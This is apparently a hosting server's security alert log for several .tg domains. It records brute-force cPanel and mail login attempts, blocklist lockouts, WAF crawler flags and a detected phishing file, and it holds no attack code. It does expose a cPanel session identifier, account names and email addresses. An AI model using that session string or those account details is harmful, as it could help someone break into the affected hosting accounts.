[2026-06-17 21:55:23 +0000] info [whostmgrd] 185.16.38.36 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.236
country_id: 130758
description:
Jun 17 21:56:46 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.236 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.215.143
country_id: 2077456
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:161.123.215.143||TA:161.123.215.143||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.236
country_id: 130758
description:
2026-06-17 21:56:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.236]:64313: 535 Incorrect authentication data (set_id=backupkibana)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.168.118.247
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:104.168.118.247||TA:104.168.118.247||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.175.135.33
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:107.175.135.33||TA:107.175.135.33||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:22:00:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12938134&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781733615 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.95.163
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:152.232.95.163||TA:152.232.95.163||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:22:00:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7170709&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781733621 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:22:03:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:22:03:05 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.175.229.179
country_id: 2921044
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.925804746819841.php||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.18.95.102
country_id: 2017370
description:
2026-06-17 22:04:04 H=([5.18.95.102]) [5.18.95.102]:1500 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.5.31.26
country_id: 3469034
description:
2026-06-17 22:04:22 dovecot_login authenticator failed for H=([14.51.223.141]) [177.5.31.26]:34305: 535 Incorrect authentication data (set_id=info@cafe.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.174
country_id: 3017382
description:
[2026-06-17 22:03:37 +0000] info [cpaneld] 5.231.255.174 NEW ifxmoxbf:YtoSNs54plHo7MUZ address=5.231.255.174,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.5.31.26
country_id: 3469034
description:
Jun 17 22:04:20 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.5.31.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.155.118
country_id: 1269750
description:
Jun 17 22:04:45 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.155.118 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.172.198
country_id: 2363686
description:
[2026-06-17 22:04:48 +0000] info [webmaild] 102.64.172.198 - some.f@inger.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:22:04:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921063&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781733880 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.155.118
country_id: 1269750
description:
2026-06-17 22:04:47 dovecot_login authenticator failed for H=([49.124.131.245]) [182.95.155.118]:34048: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.249.55.245
country_id: 1269750
description:
Jun 17 22:06:09 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.249.55.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 17 22:05:47 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.249.55.245
country_id: 1269750
description:
Jun 17 22:06:23 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.249.55.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.65.142.12
country_id: 798544
description:
Jun 17 22:08:15 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.65.142.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.65.142.12
country_id: 798544
description:
Jun 17 22:08:28 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.65.142.12 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.171.80.220
country_id: 3625428
description:
[2026-06-17 22:09:45 +0000] info [cpaneld] 38.171.80.220 - leadellestg "GET /login/?login_only=1&user=leadellestg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leadellestg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.28.4.96
country_id: 2464461
description:
[2026-06-17 22:10:05 +0000] info [cpaneld] 197.28.4.96 - lea "GET /login/?login_only=1&user=lea&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lea (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.236.58.117
country_id: 1562822
description:
[2026-06-17 22:10:08 +0000] info [cpaneld] 171.236.58.117 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.247.15.11
country_id: 3585968
description:
[2026-06-17 22:09:39 +0000] info [cpaneld] 201.247.15.11 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.152.154.246
country_id: 3469034
description:
Jun 17 22:12:16 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.152.154.246 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.174.73.173
country_id: 798544
description:
Jun 17 22:11:56 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.174.73.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.225.198.77
country_id: 3865483
description:
Jun 17 22:11:37 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.225.198.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.152.154.246
country_id: 3469034
description:
Jun 17 22:12:24 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.152.154.246 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.236
country_id: 130758
description:
Jun 17 22:14:25 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.236
country_id: 130758
description:
2026-06-17 22:14:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.236]:49492: 535 Incorrect authentication data (set_id=backupcvs)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.65.137.106
country_id: 3996063
description:
Jun 17 22:16:14 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.65.137.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.65.137.106
country_id: 3996063
description:
Jun 17 22:16:28 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.65.137.106 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:22:17:40 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:22:17:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:22:18:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146014&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781734703 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:22:18:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13289834&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781734711 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.106.74
country_id: 3469034
description:
Jun 17 22:19:11 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.106.74 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:22:20:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9946987&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781734817 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.106.74
country_id: 3469034
description:
Jun 17 22:19:25 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.106.74 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 31.223.189.128
country_id: 798544
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:31.223.189.128||TA:31.223.189.128||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.46.66.78
country_id: 3865483
description:
181.46.66.78 - - [17/Jun/2026:22:21:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10067304&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-le-parlement-donne-quitus-au-gouvernement-pour-ratifier-le-traite-de-beijing-sur-les-interpretations-et-executions-audiovisuelles%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781734878 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-le-parlement-donne-quitus-au-gouvernement-pour-ratifier-le-traite-de-beijing-sur-les-interpretations-et-executions-audiovisuelles/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.8533.1015 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.46.66.78


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.151.100.236
country_id: 3624060
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/08/IMG-20210810-WA0163-1024x683.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2021/08/IMG-20210810-WA0163-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2021/08/IMG-20210810-WA0163-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2021/08/IMG-20210810-WA0163-272x182.jpg 272w, http:/togodailynews.tg/wp-content/uploads/2021/08/IMG-20210810-WA0163.jpg 1080w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 104.222.171.0
country_id: 2661886
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:referer||MV:https://togodailynews.tg/togo-le-parlement-donne-quitus-au-gouvernement-pour-ratifier-le-traite-de-beijing-sur-les-interpretations-et-executions-audiovisuelles/||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.118.165.88
country_id: 102358
description:
[2026-06-17 22:23:13 +0000] info [cpaneld] 66.118.165.88 - togoagropolestg "GET /login/?login_only=1&user=togoagropolestg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoagropolestg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.39.131.173
country_id: 102358
description:
[2026-06-17 22:23:21 +0000] info [cpaneld] 51.39.131.173 - togoag "GET /login/?login_only=1&user=togoag&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoag (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.115.215.24
country_id: 3923057
description:
[2026-06-17 22:23:25 +0000] info [cpaneld] 181.115.215.24 - togoa "GET /login/?login_only=1&user=togoa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.62.47.46
country_id: 1733045
description:
[2026-06-17 22:23:29 +0000] info [cpaneld] 182.62.47.46 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.163.177.154
country_id: 3895114
description:
[2026-06-17 22:23:32 +0000] info [cpaneld] 181.163.177.154 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.158.28.17
country_id: 3686110
description:
[2026-06-17 22:24:58 +0000] info [cpaneld] 190.158.28.17 - les "GET /login/?login_only=1&user=les&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user les (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.63.27.100
country_id: 3686110
description:
[2026-06-17 22:25:02 +0000] info [cpaneld] 181.63.27.100 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.36.97.252
country_id: 2017370
description:
[2026-06-17 22:24:23 +0000] info [cpaneld] 92.36.97.252 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.181.210.73
country_id: 3865483
description:
[2026-06-17 22:24:29 +0000] info [cpaneld] 168.181.210.73 - lesnidsurbains "GET /login/?login_only=1&user=lesnidsurbains&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lesnidsurbains (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.178.1.159
country_id: 2361809
description:
[2026-06-17 22:24:31 +0000] info [cpaneld] 102.178.1.159 - lesnidsurbainstg "GET /login/?login_only=1&user=lesnidsurbainstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lesnidsurbainstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.20.85.183
country_id: 3469034
description:
[2026-06-17 22:24:48 +0000] info [cpaneld] 160.20.85.183 - lesni "GET /login/?login_only=1&user=lesni&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lesni (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.184.172.64
country_id: 1210997
description:
[2026-06-17 22:24:54 +0000] info [cpaneld] 103.184.172.64 - lesn "GET /login/?login_only=1&user=lesn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lesn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.216.235.191
country_id: 3996063
description:
[2026-06-17 22:24:36 +0000] info [cpaneld] 189.216.235.191 - lesnidsu "GET /login/?login_only=1&user=lesnidsu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lesnidsu (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.255.75.218
country_id: 1269750
description:
Jun 17 22:27:33 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.255.75.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.114.41.193
country_id: 3895114
description:
[2026-06-17 22:30:12 +0000] info [cpaneld] 190.114.41.193 - kpmg "GET /login/?login_only=1&user=kpmg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.110.174.176
country_id: 102358
description:
[2026-06-17 22:30:18 +0000] info [cpaneld] 5.110.174.176 - kpm "GET /login/?login_only=1&user=kpm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kpm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.115.24.143
country_id: 1210997
description:
[2026-06-17 22:30:21 +0000] info [cpaneld] 103.115.24.143 - kp "GET /login/?login_only=1&user=kp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.129.245.70
country_id: 3017382
description:
[2026-06-17 22:30:27 +0000] info [cpaneld] 176.129.245.70 - ing "GET /login/?login_only=1&user=ing&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ing (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.250.163.160
country_id: 1562822
description:
[2026-06-17 22:30:32 +0000] info [cpaneld] 171.250.163.160 - in "GET /login/?login_only=1&user=in&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user in (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.167.229.221
country_id: 1282988
description:
103.167.229.221 - - [17/Jun/2026:22:30:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9920920&pdata=http%253A%252F%252Ftogodailynews.tg%252Fmali-la-fourniture-delectricite-passe-de-6-a-19-heures-par-jour%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781735453 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/mali-la-fourniture-delectricite-passe-de-6-a-19-heures-par-jour/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.167.229.221


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.22.113.129
country_id: 3469034
description:
[2026-06-17 22:30:25 +0000] info [cpaneld] 177.22.113.129 - inge "GET /login/?login_only=1&user=inge&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user inge (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:22:32:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10067096&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781735535 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:22:32:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7508628&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781735535 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:22:31:38 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
